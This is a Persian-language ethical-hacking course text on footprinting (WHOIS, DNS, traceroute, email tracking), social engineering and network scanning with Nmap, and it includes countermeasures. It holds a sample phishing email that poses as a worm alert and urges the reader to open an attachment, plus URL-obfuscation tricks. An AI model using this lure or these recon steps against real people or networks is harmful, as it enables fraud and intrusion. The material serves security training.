شكل زير، مثالي از  .را انجام دهيد DNSبرويد و جستجوي آنلاين ركورد  http://www.dnsstuff.comوب سايت 

 .دهدنشان مي DNSstuff.comبا استفاده از  http://www.eccouncil.orgرا براي سايت  DNSجستجوي ركورد 

. دهد سرور وب را نشان مي IPو آدرس  http://www.eccouncil.orgاين جستجو، تمام ركوردهاي مستعار براي 

  .كنيدشناسايي مربوطه را  IPهاي  ها و آدرس name serverتوانيد تمام  حتي شما مي

  

  

  ARIN Lookupو  Whoisمفهوم 

بر  ،ها و ابزارهاي هك آغاز شد اما اكنون در بسياري از سيستم عامل يونيكس از سيستم عامل Whoisابتدا، 

كند كه چه كسي نام داميني كه براي وب سايت يا ايميل  اين ابزار، مشخص مي. شود روي اينترنت استفاده مي

  .شود را ثبت كرده است استفاده مي

. كند دامين نياز دارد تا مطمئن شود تنها يك شركت از آن نام دامين استفاده مي، به اسامي ICANNسازمان 

يا سازماني كه دامين ثبت كرده است را  فرادگيرد تا اطلاعات تماس درباره ا از پايگاه داده كوئري مي، Whoisابزار 

  .بازيابي كند

Smart Whois )Whois دهد تمام اطلاعات در  ما اجازه ميآوري اطلاعات است كه به ش برنامه جمع) هوشمند

ها، يا دامين، شامل كشور، ايالت يا استان، شهر، اسم ارائه دهنده شبكه،  ، نام دستگاهIPهاي  دسترس درباره آدرس

  .است Basic Whois، نسخه گرافيكي از برنامه Smart Whois. اطلاعات تماس مدير شبكه و مدير فني را پيدا كنيد
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ARINهاي  اي است كه شامل اطلاعاتي از قبيل مالك آدرس ، پايگاه دادهIP پايگاه داده . استاتيك است

ARIN با استفاده از ابزار ،Whois  همچونhttp://www.arin.net/whois  گيرد ميمورد كوئري قرار.  

توجه داشته باشيد كه . دهد را نشان مي http://www.yahoo.comبراي  Whoisشكل زير، جستجوي 

توانند توسط هكر قانونمند  اين اطلاعات مي. قرار دارند Whoisها، و اطلاعات تماس در جستجوي  ايميل ها، آدرس

و سازماني كه مالك سيستم هدف است، يا توسط هكر شرور براي انجام مهندسي  IPبراي يافتن مسئول يك آدرس 

  .اجتماعي استفاده شوند

وجود دارند را بدانيد و مطمئن  ARINهاي داده همچون  شما بايد اطلاعات در دسترس عمومي كه در پايگاه

  .تواند از اين اطلاعات براي انجام حمله عليه شبكه استفاده كند شويد كه هكر شرور نمي

  

 http://www.yahoo.comبراي  ARINخروجي 

، RIPE NCC: ، مراكز ديگري نيز در سراسر جهان براي اين منظور وجود دارند از قبيلARINبه غير از : نكته

LACNIC و ،APNIC.  
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  Whoisتحليل خروجي 

و انجام ) www.networksolutions.comبراي مثال، (، اتصال به وب سايت Whoisترين راه براي انجام  ساده

  :است www.eccouncil.orgبراي سايت  Whoisمتن زير، خروجي جستجوي . است Whoisجستجوي 

Domain ID: D81180127-LROR 

Domain Name: ECCOUNCIL.ORG 

Created On: 14-Dec-2001 10:13:06 UTC 

Last Updated On: 19-Aug-2004 03:49:53 UTC 

Expiration Date: 14-Dec-2006 10:13:06 UTC 

Sponsoring Registrar: Tucows Inc. (R11-LROR) 

Status: OK  

Registrant ID: tuTv2ItRZBMNd4lA 

Registrant Name: John Smith 

Registrant Organization: International Council of E-Commerce Consultants 

Registrant Street1:67 Wall Street, 22nd Floor 

Registrant Street2: 

Registrant Street3: 

Registrant City: New York 

Registrant State/Province: NY 

Registrant Postal Code: 10005-3198 

Registrant Country: US 

Registrant Phone: +1.2127098253 

Registrant Phone Ext.: 

Registrant FAX: +1.2129432300 

Registrant FAX Ext.: 

Registrant Email:forum@eccouncil.org 

Admin ID: tus9DYvpp5mrbLNd  
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Admin Name: Susan Johnson  

Admin Organization: International Council of E-Commerce Consultants 

Admin Street1:67 Wall Street, 22nd Floor 

Admin Street2: 

Admin Street3: 

Admin City: New York 

Admin State/Province: NY 

Admin Postal Code: 10005-3198 

Admin Country: US 

Admin Phone: +1.2127098253 

Admin Phone Ext.: 

Admin FAX: +1.2129432300 

Admin FAX Ext.: 

Admin Email:ethan@eccouncil.org 

Tech ID: tuE1cgAfi1VnFkpu 

Tech Name: Jacob Eckel 

Tech Organization: International Council of E-Commerce Consultants 

Tech Street1:67 Wall Street, 22nd Floor 

Tech Street2: 

Tech Street3: 

Tech City: New York 

Tech State/Province: NY 

Tech Postal Code: 10005-3198 

Tech Country: US 

Tech Phone: +1.2127098253 

Tech Phone Ext.: 

Tech FAX: +1.2129432300  
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Tech FAX Ext.: 

Tech Email:forum@eccouncil.org 

Name Server: ns1.xyz.net 

Name Server: ns2.xyz.net 

 :عبارتند از Whoisابزارهاي برخي از 

• Wikto Footprinting Tool 

• Whois Lookup 

• SmartWhois 

• ActiveWhois 

• LanWhois 

• CountryWhois 

• WhereIsIP 

• ip2country 

• CallerIP 

• Web Data Extractor 

  :عبارتند از Whoisبرخي از ابزارهاي آنلاين و 

• www.samspade.org 

• www.geektools.com 

• www.whois.net 

• www.demon.net 

• www.whatismyip.com 

  

  هاي شبكه پيدا كردن بازه آدرس

 از .كند شناساييسيستم هدف را  subnet maskهر هكر قانونمندي بايد بداند كه چگونه بازه شبكه و 

هاي  را در ثبت كننده IPهاي  توانيد آدرس شما مي. شود هاي مقصد استفاده مي براي اتصال به سيستم ،IPهاي  آدرس

  .پيدا كنيد AINAيا  ARINاينترنتي همچون 

رديابي  را بااين كار، او . كه مكان جغرافيايي سيستم يا شبكه هدف را پيدا كند بخواهدممكن است هكري 

توانيد از ابزارهايي همچون  شما مي. دورآ ميمقصد ارسال شده است بدست  IPمسير يك پيام كه به آدرس 

traceroute ،VisualRoute و ،NeoTrace براي شناسايي مسير هدف استفاده كنيد.  
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براي مثال، . يدورآ علاوه بر اين، چنانچه شما شبكه مقصد را رديابي كنيد، اطلاعات مفيد ديگري نيز بدست مي

ها  سپس از اين آدرس و بدست آوريد دروازه اينترنتي را IPها، يا حتي آدرس  داخلي ماشين IPهاي  توانيد آدرس مي

  .براي فرآيندهاي حمله يا اسكن استفاده كنيد

  

  DNSشناسايي انواع مختلف ركوردهاي 

  :و كاربرد آنها عبارتند از DNSركوردهاي رايج 

• A : تبديل نام به آدرسIP 

• SOA : مشخص كننده سرورDNS مسئول براي اطلاعات دامين 

• CNAME :دهد اسامي اضافي يا مستعار براي ركوردها مي 

• MX  :براي دامين است ايميل مشخص كننده سرور 

• SRV :هايي از قبيل  سرويسdirectory services كند را مشخص مي 

• PTR :هاي  تبديل آدرسIP  به اسم 

• NS:  ديگرName server كند هاي شبكه را مشخص مي  

  

 footprintingدر  tracerouteنحوه كار 

Tracerouteهاي  با ارسال بسته. ها وجود دارد ، ابزاري براي رديابي بسته است كه در اغلب سيستم عامل

ICMP هاي  زمانيكه پيام. كند هاي بين راه را نيز مشخص مي به سمت مقصد، آدرسICMP  ،از روتري عبور كرد

  .تواند بفهمد كه چند تا روتر در مسير وجود دارد بنابراين هكر مي. شود يك واحد كم مي TTLمقدار 

را  traceroutكه فايروال، ابزار  از آنجائيكه. شود يكي از نقاط ضعف آن زماني است كه با فايروالي مواجه مي

تواند به هكر هشدار دهد كه فايروال وجود دارد بنابراين، بايد از  ميتا جلوي كشف شبكه را بگيرد، كند  متوقف مي

  .هاي دور زدن فايروال استفاده شود تكنيك

Sam Spade  ،ابزارو بسياري از ابزارهاي ديگر هك traceroute هاي ويندوز، از دستور  سيستم عامل. را دارند

tracert hostname  براي انجامtraceroute شكل زير، مثالي از خروجي . دكنناستفاده ميtraceroute  را براي سايت

www.yahoo.com دهد نشان مي.  
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از آنجائيكه معمولا روترها بر اساس مكان . كند اين دستور، روترهايي كه در مسير وجود دارند را شناسايي مي

  .ها را متوجه شويد مكان اين دستگاه كند تا به شما كمك مي ،tracert شوند بنابراين نتايج شان، نام گذاري مي فيزيكي

  

  :برخي ديگر از ابزارهايي كه به اين منظور استفاده مي شوند عبارتند از

• 3D Traceroute 

• NeoTrace 

• VisualRoute Trace 

• Path Analyzer Pro 

• Maltego 

  

  Email Tracking استفاده از

دهند كه بداند آيا گيرنده پيام، ايميل را  ، به ارسال كننده ايميل امكان ميEmail Trackingهاي  برنامه

، با ضميمه كردن يك اسم Email Trackingهاي  اغلب برنامه. پاك كرده است يا نه ،خوانده، فروارد كرده، تغيير داده

  يك فايل گرافيكي كه تنها يك پيكسل دارد و قابل توجه . readnotify.comكنند مثلا  دامين به آدرس ايميل كار مي
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شود، اين فايل گرافيكي به  بنابراين، زمانيكه عملي بر روي آن ايميل انجام مي. كند را به ايميل ضميمه مينيست 

  .كند سرور متصل شده و ارسال كننده را مطلع مي

  .روند براي اين منظور به كار مي eMail Tracker Proو  VisualRoute Mail Trackerابزارهاي 

  

  ها Web Spiderنحوه كار 

Spammer از  ،كنند آوري مي هاي ايميل را از اينترنت جمع ها، كه آدرسWeb Spider كنند ها استفاده مي .

Web Spiderآوري كند هاي ايميل را جمع از قبيل آدرس يكند تا اطلاعات مشخص ها را جستجو مي ، وب سايت .

Web Spiderكند گردد و آنها را داخل ليست كپي مي همراه هستند مي @ها كه با  ، به دنبال قالب عمومي ايميل .

 Web .دشوهاي ناخواسته استفاده  شود و ممكن است بعدا براي ارسال ايميل ها به پايگاه داده اضافه مي اين آدرس

Spider تواند از  هكر مي .ستجوي همه نوع اطلاعات بر روي اينترنت استفاده شوندجتوانند براي  ها ميWeb Spider 

ها براي سايت  Web Spiderيك روش براي جلوگيري از . آوري اطلاعات استفاده كند ازي فرآيند جمعبراي خودكارس

محافظت شوند، در  crawlingخواهيد از  هايي كه مي را با ليستي از دايركتوري robots.txtشما اين است كه فايل 

  .تان قرار دهيد مسير ريشه وب سايت

خواهيم توسط موتورهاي  ها و منابعي كه نمي در ريشه قرار دارد و ليستي از دايركتوري robots.txtفايل : نكته

  .دهيم جستجو، ايندكس شوند را قرار مي

  

1و  Web data Extractorابزارهاي 
st
 E-Mail Address Extractor روند براي اين منظور به كارمي.  

  

  Footprintingمراحل انجام 

 داخلي و خارجي شركتهاي  پيدا كردن آدرس .1

 براي جزئيات شخصي Whoisانجام جستجوي  .2
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 DNSاستخراج اطلاعات  .3

 جستجو به دنبال اسامي در وب سايت .4

 استخراج آرشيو وب سايت .5

 جستجو از طريق گوگل براي اخبار مربوط به شركت .6

 اطلاعات شخصي پرسنل يافتن براي People Searchاستفاده از  .7

 NeoTracerيافتن مكان فيزيكي وب سرور با استفاده از ابزار  .8

 هاي شغلي تحليل جزئيات زيرساخت شركت با استفاده از فرصت .9

  readnotify.comرديابي ايميل با استفاده از  .10

  

  مهندسي اجتماعي

يك فرآيند گول زدن كاربران . مهندسي اجتماعي، روشي غير فني براي شكستن امنيت سيستم يا شبكه است

شود را مهندسي  ميهاي امنيتي استفاده  سيستم و تحريك آنها براي دادن اطلاعاتي كه براي دور زدن مكانيزم

تواند از آن براي حمله به عنصر  دانستن مهندسي اجتماعي بسيار مهم است براي اينكه هكر مي .گويند مياجتماعي 

  .وري اطلاعات قبل از حمله استفاده شودآ تواند براي جمع اين روش مي. انساني سيستم استفاده كند

  

  مهندسي اجتماعي چيست؟

ستيابي به اطلاعات يا ه منظور دمهندسي اجتماعي، استفاده از ترغيب و تحريك براي گول زدن كاربران ب

معمولا يك مهندس اجتماع، از تلفن يا اينترنت براي گول زدن كاربر و . تشويق قرباني براي انجام برخي عمليات است

گرفتن اطلاعات حساس يا تحريك آنها براي انجام كارهايي كه سياست امنيتي سازمان را به خطر بياندازد استفاده 

هاي امنيتي كامپيوتر، از گرايشات و تمايلات  ، به جاي سو استفاده از حفرهياجتماعمهندسان اين روش،  در. كند مي

اين اصل، دليل . هاي امنيتي هستند ترين لينك كاربران، ضعيف. كنند طبيعي افراد براي ايجاد اعتماد، سو استفاده مي

  .انجام مهندسي اجتماعي است

، VPNاحراز هويت، فايروال،  هايهايي كه فرآيند ترين بخش مهندسي اجتماعي اين است كه شركت خطرناك

، هنوز مستعد حمله هستند براي اينكه مهندسي اجتماعي، معيارهاي امنيتي را دارندافزار مانيتورينگ شبكه  و نرم

  .زند ا دور ميبلكه آن ر دهد بطور مستقيم مورد حمله قرار نمي
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بهترين روش براي مقابله با حمله مهندسي اجتماعي،  و ترين لينك در زنجيره امنيتي هستند افراد، ضعيف

ترين نوع حمله است براي اينكه سازمان  مهندسي اجتماعي، سخت. داشتن سياست مناسب و آموزش پرسنل است

  .افزار از بروز آن جلوگيري كند افزار و سخت تواند تنها با استفاده از نرم نمي

  

  انواع رايج حملات كدامند؟

  :گيرد در دو دسته قرار مي مهندسي اجتماعي

مهندسي اجتماعي مبتني بر انسان، اشاره به تعامل شخص به شخص دارد تا اطلاعات مورد دلخواه  :مبتني بر انسان

  .و تلاش براي يافتن كلمه عبور help deskمانند تماس با  دست آوردرا ب

افزار كامپيوتري است كه تلاش كند  داشتن نرممهندسي اجتماعي مبتني بر كامپيوتر، اشاره به : مبتني بر كامپيوتر

مثالي از آن، ارسال ايميلي به كاربر و درخواست از او براي ورود مجدد پسورد در . بدست آورداطلاعات مورد دلخواه را 

  .شود شناخته مي phishingاين حمله مهندسي اجتماعي، با نام . صفحه وب براي تائيد است

  

  انسانمهندسي اجتماعي مبتني بر 

  :شوند هاي كلي زير تقسيم مي حملات مبتني بر مهندسي اجتماعي، به دسته

در اين نوع حمله مهندسي  ):Impersonating an employee or valid user(خود را جاي شخص ديگري جا زدن 

خود را براي نگهبان، كارمند تواند  هكر مي. كند كه كارمند يا كاربر قانوني سيستم است اجتماعي، هكر وانمود مي

تواند اطلاعات را از سطل زباله، ميزها و  پس از داخل شدن مي. دسترسي فيزيكي به دست آورد د ووانمود كن

  .آوري كند هاي كامپيوتري جمع سيستم

 هكر خود را جايدر اين نوع حمله،  ):Posing as an important user(خود را به عنوان شخص مهم وانمود كردن 

هكر از . ها يا كامپيوتر، نياز به كمك فوري دارد زند كه براي دسترسي به فايل شخص مهمي همچون مدير ارشد جا مي

بسياري از كاركنان سطح . سيستم را بدهد هكند تا كارمند سطح پايين، اجازه دسترسي ب حالت ترساندن استفاده مي

  .پرسند نمي كنند مدير ارشد است، سوالي پايين، از كسي كه فكر مي

كند كه مجوز استفاده از منابع مجاز  در اين رويكرد، هكر وانمود مي ):Using a third person(استفاده از شخص سوم 

  .اين حمله، بسيار موثر استتواند قابل دسترسي باشد،  زمانيكه منبع داراي مجوز، خالي است يا نمي. سيستم را دارد
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تماس با پشتيباني فني براي راهنمايي، نوع كلاسيك  ):Calling technical support(تماس با پشتيباني فني 

همين امر . اند تا به كاربران كمك كنند و پشتيباني فني، آموزش ديده help deskپرسنل . مهندسي اجتماعي است

  .شود ميحملات مهندسي اجتماعي  آنها توسط شكار سبب

ر به سيستم، آوري پسورد است كه هكر موقع ورود كارب تكنيك جمع ):Shoulder surfing(ايستادن كنار كاربر 

  .بيند د را ميكن و كلمه عبوري كه وارد سيستم مي م كاربريايستد و نا كنارش مي

ها براي يافتن اطلاعاتي كه ممكن است بر روي كاغذ نوشته  جستجو در زباله ):Dumpster diving(آشغال گردي 

  .ها، يا اطلاعات محرمانه ديگري را بدست آورد تواند پسوردها، نام فايل هكر مي. شده باشد، است

با استفاده از . هاي پيشرفته براي دستيابي به اطلاعات غير مجاز، مهندسي اجتماعي معكوس است يكي از روش

رسد داراي اختيار است بنابراين، كارمندان، از هكر اطلاعات  كند كه به نظر مي ايجاد مي تيين تكنيك، هكر شخصيا

  .گيرد تا به او پسورد دهد زند و نام كاربري شخص را مي جا مي help deskبراي مثال، هكر خود را جاي . خواهند مي

  

  مهندسي اجتماعي مبتني بر كامپيوتر

  :شود اجتماعي مبتني بر كامپيوتر شامل موارد زير ميحملات مهندسي 

 هاي ايميل ضميمه •

 هاي جعلي وب سايت •

 Popupهاي  پنجره •

  حملات داخلي

نوان كارمند اگر هكر نتواند هيچ روشي براي هك سازمان پيدا كند، بهترين گزينه بعدي، نفوذ به سازمان به ع

قدرتمند هستند براي حملات داخلي، . دهاز طريق او حمله را انجام د دناراضي است كه بتوان يا پيدا كردن كارمند

   .اينكه كارمندان، دسترسي فيزيكي دارند

  

  Phishingحملات 

كنند و معمولا خود را جاي بانك يا شركت كارت اعتباري يا موسسات مالي جا  را ارسال مي يحملاتي كه ايميل

  كاربر روي . را دوباره وارد كنند PINشان را تائيد كنند يا پسوردشان يا  بانكيخواهند كه اطلاعات  زنند و از آنها مي مي
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تواند اين  سپس هكر مي. يابد كند ولي به يك وب سايت ساختگي انتقال مي لينكي كه در ايميل است كليك مي

هايي كه در آنها گفته  ايميل .هاي مالي يا حملات ديگر استفاده كند اطلاعات را بدست آورد و از آنها براي دسترسي

اين حملات، همان شخص را مورد . است phishingايد نيز مثالي از حملات  شود مقدار زيادي پول برنده شده مي

  .دنخواهند كه اطلاعات محرمانه را در اختيار هكر قرار ده دهند و مي هدف قرار مي

توانند بصورت  د كه مينقرباني استفاده شوند براي ارسال كدهاي مخرب به سيستم نتوا هاي ايميل مي ضميمه

ها  wormها و  ها، تروجان ويروس. دنافزاري نصب كنند تا پسورد را بدست آور نرم keyloggerمثل  ابزارهايياتوماتيك، 

هاي ايميل، به عنوان حملات  ضميمه. هاي تقلبي براي اغفال قرباني براي باز كردن ضميمه باشند در ايميلتوانند  مي

  .دسي اجتماعي مبتني بر كامپيوتر هستندمهن

  :كند دريافت كننده، ضميمه را باز كند به شكل زير است مثالي از ايميلي كه سعي مي

Mail server report. 

Our firewall determined the e-mails containing worm copies are being sent from your computer. 
Nowadays it happens from many computers, because this is a new virus type (Network Worms). 

Using the new bug in the Windows, these viruses infect the computer unnoticeably. After the 

penetrating into the computer the virus harvests all the e-mail addresses and sends the copies of 

itself to these e-mail addresses 

Please install updates for worm elimination and your computer restoring. 

Best regards, 

Customer support service 

توانند در حملات مهندسي اجتماعي مبتني بر كامپيوتر  هاي ايميل، مي نيز مثل ضميمه Pop-upهاي  پنجره

افزار مخرب را  توانند كاربر را تشويق كنند تا نرم كه پيشنهادات خاصي را دارند مي Pop-upهاي  پنجره .استفاده شوند

  .نصب كند

  

URL obfuscation  

. شود در قسمت نوار آدرس مرورگر اينترنتي براي دسترسي به وب سايت خاصي استفاده مي URLمعمولا 

URL obfuscation مخفي كردن يا جعلي كردن ،URL براي مثال، وب سايت . است تا قانوني به نظر برسد

204.13.144.2/Citibankرسد كه آدرس اينترنتي صحيح براي  ، به نظر ميCitibank نيست اينطورباشد ولي  مي .

URL obfuscation براي حملات ،phishing شود تا كلاهبرداري را  هاي آنلاين استفاده مي و بعضي از كلاهبرداري  
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ممكن است آدرس وب سايت، با نام يا لوگوي موسسه مالي واقعي به نظر برسد اما يك وب . قانوني نشان دهدعملي 

. شوند تغيير مسير داده ميكند، به سايت هكر  زمانيكه كاربري بر روي لينك كليك مي. سايت ساختگي باشد

براي مثال، . كنند ي يا شانزدهي استفاده ميهاي جعلي قرار بگيرند، از علائم دهده توانند در لينك هايي كه مي آدرس

  .خواهد بود 3232238085، شبيه 192.168.10.5آدرس 

  

  پيشگيري از مهندسي اجتماعي

اگر كارمندان، . هستندترين عنصر در برنامه امنيت اطلاعات  هاي امنيتي مستند شده و اجباري، حياتي تسسيا

ها بايستي كه ابتدا با كارمندان  اين سياست .موثر نخواهند بود ،خوب هايها و فرآيند سياست، زش نديده باشندآمو

سياست امنيتي سازماني بايد مشخص كنند كه چگونه و چه زماني . مشورت شود و سپس توسط مدير، اجبار شود

دسترسي  تواند به اطلاعات ها ايجاد و پايان يابند، هر چند وقت به يكبار بايد پسوردها تغيير يابند، چه كسي مي اكانت

هاي دسترسي فيزيكي نيز بايد در سياست امنيتي مورد توجه  نحوه از بين بردن مستندات كاغذي و محدوديت. يابد

  .ها و كنترل ويروس را شامل شود نهايت، سياست بايد مسائل فني از قبيل استفاده از مودمدر . قرار گيرند

هاي هكر  ارمندان را از داوري در مورد درخواستيكي از مزاياي سياست امنيتي قوي اين است كه مسئوليت ك

  .نبايد آن را انجام دهد شخصاگر كار خواسته شده با سياست امنيتي مغايرت داشته باشد، . برد از بين مي

آموزش  پرسنلبايستي همه . است پرسنلترين موضوع براي پيشگيري از مهندسي اجتماعي، آموزش  مهم

سازي سياست امنيتي  هاي مديريتي، در ايجاد و پياده تيم. نه خود را حفظ كنندكه چگونه اطلاعات محرما ببينند

تا اطلاعات  شودداير  ييها هر سال بايد كلاس. كنند درگير هستند بنابراين، آنها كاملا آن را درك و پشتيباني مي

  .استماهانه، روزنامه يا مقالات امنيتي نيز انتشار روش ديگر  .جديدتر و به روزتر به اطلاع افراد برسد
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  مقدمه

آغاز  enumerationپس از مرحله اسكن، مرحله . ، اولين مراحل هك هستندenumerationاسكن كردن و 

اسكن و . ، و منابع به اشتراك گذاشته استانهاي كاربر اكانت، هاكامپيوتر نامشامل شناسايي  كه گردد مي

enumeration انجام  ز ابزارهاي هك، هر دوي اين كارها رابراي اينكه بسياري ا گيرند قرار ميبحث مورد ، با يكديگر

  .ندده مي

  

  اسكن

اطلاعاتي از قبيل . هاي آن است آوري اطلاعات درباره شبكه و سيستم در طول اسكن، هكر به دنبال جمع

 توانند به هكر كمك كنند تا بداند چه نوع هاي نصب شده مي ها، و برنامه ، سيستم عامل، سرويسIPهاي  آدرس

 IPهاي  هكرهاي قانونمند، از اسكن براي شناسايي آدرس. تواند براي هك كردن سيستم استفاده شود يم اكسپلويت

  .كنند هاي مقصد استفاده مي سيستم

  

  اسكن پورت، اسكن شبكه، و اسكن آسيب پذيري

براي اينكه بدانيم آيا سيستم در شبكه در . شود پس از مراحل شناسايي اكتيو و پسيو، اسكن شروع مي

هاي  آوري اطلاعات درباره يك سيستم از قبيل آدرس ابزارهاي اسكن، براي جمع. كنيم ترس است يا نه، اسكن ميدس

IPدنشو هايي كه بر روي سيستم مقصد در حال اجرا هستند استفاده مي ، سيستم عامل، و سرويس.  
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  .دهد جدول زير، سه نوع اسكن را توضيح مي

  هدف  نوع اسكن

  كند هاي باز را مشخص مي ها و سرويس پورت  )Port scanning(اسكن پورت 

 كند راشناسايي مي IPهاي  آدرس  )Network scanning(اسكن شبكه 

  كند را بررسي مي هاي شناخته شده ود آسيب پذيريوج  )Vulnerability scanning(اسكن آسيب پذيري 

  

ابزارهاي اسكن پورت، هكر را . گويند ستم را ميبر روي يك سي TCP/IPهاي باز  فرآيند شناسايي پورت :اسكن پورت

روي  برنامههر سرويس يا . هاي قابل دسترس روي يك سيستم اطلاعات كسب كند د درباره سرويسنساز قادر مي

باز  80پورت كه براي مثال، اگر ابزار اسكن پورتي نشان دهد . اي همراه است ماشين، با شماره پورت شناخته شده

  .هاي معروف آشنا باشند هكرها بايد با پورت. شود ن است كه بر روي آن سيستم، وب سرور اجرا مياست به معناي اي

  :هاي مشهور، در شاخه زير قرار دارند بر روي سيستم عامل ويندوز، شماره پورت
C:\Windows\system32\drivers\etc\services  

  

كه براي انجام حمله يا براي ارزيابي امنيتي شبكه  شبكه استدر هاي فعال  فرآيند شناسايي دستگاه :اسكن شبكه

  .شوند مشخص مي IPهاي  ها با آدرس دستگاه. گيرد انجام مي

بطور كلي، . هاي كامپيوتري بر روي شبكه است هاي سيستم فرآيند شناسايي آسيب پذيري :اسكن آسيب پذيري

كه نصب هستند را شناسايي هايي  service packپذيري، ابتدا سيستم عامل و نسخه آن و نيز  يك اسكنر آسيب

تواند از اين  در مرحله حمله، هكر مي. كند هاي سيستم عامل را شناسايي مي ها و آسيب پذيري كند سپس، ضعف مي

  .ها براي ايجاد دسترسي روي سيستم استفاده كند پذيري آسيب

ابزارهاي اسكن، به . ا تشخيص دهداسكن پورت رمربوط به هاي  تواند فعاليت مي ،)IDS(سيستم تشخيص نفوذ 

هاي باز را شناسايي كنند كه اين پويش پورت، توسط بسياري از ابزارهاي  گردند تا پورت مي TCP/IPهاي  دنبال پورت

  .همچنين اسكن شبكه و آسيب پذيري هم معمولا قابل تشخيص هستند. هستندشناسايي تشخيص امنيتي قابل 
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  متدلوژي اسكن

سازد كه همه  اين متدلوژي، هكر را مطمئن مي. كند شبكه را اسكن مي ،آيندي است كه هكرمتدلوژي زير، فر

  .آوري شده است اطلاعات لازم براي انجام حمله، جمع

  

  Ping Sweepهاي  تكنيك

ترين، و در عين حال  ساده. شود هايي كه در شبكه فعال هستند آغاز مي متدلوژي اسكن، با بررسي سيستم

هايي  تمام سيستم. شبكه است IPبراي بازه آدرس  ping sweepهاي فعال، انجام  وش شناسايي سيستمترين ر درست

  .شوند محسوب ميهاي فعال در شبكه  دهند، به عنوان سيستم پاسخ مي pingكه به 

هاي شبكه براي شناسايي  به همه دستگاه pingيا  ICMP، فرآيند ارسال يك درخواست ICMPاسكن 

تواند بصورت موازي انجام شود اين بدان معني  اين است كه مي ICMPيكي از مزاياي اسكن . ال استهاي فع سيستم

بسياري از ابزارهاي . شود شوند بنابراين به سرعت در شبكه اجرا مي ها در يك زمان اسكن مي است كه همه سيستم

هاي شبكه  براي همه دستگاه ICMPهستند اين بدان معني است كه درخواست  Ping sweepگزينه  دارايهك، 

  .شود انجام مي
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. دنرا بگير ping sweep توانند جلوي پاسخ سيستم به ها مي مساله قابل توجه در اين روش اين است كه فايروال

  .شودانجام روشن باشد تا اسكن دستگاه، مشكل ديگر اين است كه بايستي 

 ICMPهاي  براي انجام كوئري WS_Ping_Pro، و Angry IP Scanner ، Pinger ،Friendly Pinger بزارهايا

  .هستند

  

  ها Ping Sweepتشخيص 

كنند و گزارش  افتند، را شناسايي مي هايي كه در شبكه اتفاق مي IPS، Ping Sweepيا  IDSتقريبا هر سيستم 

تواند بطور دقيق  نمي بندند بنابراين، هكر را مي pingهاي  ها و سرورهاي پروكسي، پاسخ بسياري از فايروال. دهند مي

 pingها، به  اگر سيستم. يا نه ها در دسترس هستند سيستم ،ping sweepمشخص كند كه آيا تنها با استفاده از 

sweep اگر . تري بايد استفاده شود پاسخ ندهند، از پورت اسكنرهاي قويping sweep،  سيستم فعالي را در شبكه

به ياد . هاي جايگزين براي شناسايي استفاده كنيد ندارد شما بايد از روش نشان ندهد، به اين معنا نيست كه وجود

  .خواهد مي پشتكار، و صبر، زمانداشته باشيد كه هك كردن، 

  

  ها ها و شناسايي سرويس اسكن پورت

. هاي باز است اسكن پورت، روشي براي بررسي پورت. هاي باز، گام دوم در متدلوژي اسكن است بررسي پورت

بطور كلي، . هاي باز است براي شناسايي پورت ،روي سيستم ها بر پورت تماماسكن پورت شامل جستجوي  فرآيند

  .دهد ها مي سيستمها و آسيب پذيري  اسكن پورت، اطلاعات با ارزشي درباره دستگاه

ان شناسايي سرويس، سومين مرحله در متدلوژي اسكن است كه معمولا با استفاده از همان ابزارها به عنو

ها كار  هايي كه با آن شماره پورت تواند سرويس هاي باز، هكر مي با شناسايي پورت. شود اسكن پورت انجام مي

  .تشخيص دهد را د،نكن مي

  

  مقابله با اسكن پورت

ها بر روي  كنند تا اسكن پورت استفاده ميهاي مقابله، فرآيندها يا ابزارهايي هستند كه مديران امنيتي  روش

هاي زير بايد براي جلوگيري از كسب اطلاعات توسط هكر در طول  روش. ندنشبكه را شناسايي و عقيم ك هاي سيستم

  :اسكن پورت، اجرا شود
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 .ها بايد انجام گيرد ها و فايروال IDSسازي  معماري امنيتي صحيح، از قبيل پياده •

زمانيكه فايروالي نصب . كنند فاده ميمقابله با اسكن استاي از ابزارها براي تست  هكرهاي قانونمند، از مجموعه •

تواند به درستي از اسكن پورت  شود، ابزار اسكن پورت بايد اجرا شود تا مشخص كند آيا فايروال مي مي

 .جلوگيري كند يا نه

، نظارت داشته باشد كه statefulفايروال بايد بصورت . فايروال بايد بتواند ابزار اسكن پورت را شناسايي كند •

 .را بررسي نكند TCPهاي بسته را بررسي كند و تنها هدر  معني است كه داده اين بدان

هاي شناسايي سيستم عامل  با روش، بايد براي شناسايي )NIDS(اي  هاي تشخيص نفوذ شبكه سيستم •

 .استفاده شود Nmapهمچون 

 .باشندهاي مورد نياز باز شوند و بقيه بسته  بايستي تنها پورت •

هاي  آنها بايد سياست. يستي براي استفاده از سيستم، آموزش امنيتي مناسب ديده باشندبا ،كاركنان سازمان •

  .امنيتي مختلف را بدانند

  

  Nmapهاي دستور  سوئيچ

Nmap عمليات ، ابزار رايگاني است كه باping sweep اسكن پورت، شناسايي سرويس، شناسايي آدرس ،IP و ،

تعداد زيادي ماشين را  تواند اين است كه مي Nmap مزيت .دهد انجام مي با سرعت بالاتريشناسايي سيستم عامل را 

  .شود ها از قبيل يونيكس، ويندوز، و لينوكس پشتيباني مي توسط اغلب سيستم عامل اسكن كند ودر يك نشست 

 پورت باز. تواند بصورت باز، فيلتر شده يا فيلتر نشده باشد ميشود  مشخص مي Nmapوضعيت پورت كه توسط 

پورت فيلتر شده به اين معني است كه . دهد هاي ورودي روي پورت پاسخ مي يعني اينكه ماشين هدف به درخواست

پورت فيلتر نشده به اين معني است . كنند جلوگيري مي Nmapهاي باز توسط  فايروال يا فيلتر شبكه، از كشف پورت

، از چندين نوع اسكن پشتيباني Nmap. گيرد يرا نم Nmapهاي  كه پورت بسته است و فايروال، جلوي درخواست

  .دهد هاي اسكن را توضيح مي ترين روش جدول زير، برخي از رايج. كند مي

  توضيح Nmapنوع اسكن 
TCP connect   حمله كننده، يك ارتباط كاملTCP سازد با سيستم هدف مي.  

XMAS tree scan  هاي  حمله كننده، سرويسTCP هاي  را با ارسال بستهXMAS-treeتمام . كند ، بررسي مي

flag هايFIN ،URG  وPSH اند با مقدار يك پر شده.  

SYN stealth scan  اسكن نيمه باز)half-open (هكر، يك بسته . شود نيز ناميده ميSYN كند و در  را ارسال مي
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  .شود باز نمي TCPدر واقع يك ارتباط كامل . كند دريافت مي SYN-ACKيك  ،پاسخ

Null scan  در . اين يك اسكن پيشرفته است كه ممكن است از فايروال عبور كند ولي شناسايي نشود

Null scan تمام ،flagهاي يونيكس كار  اين اسكن تنها بر روي سيستم. ها خاموش هستند

  .كند مي

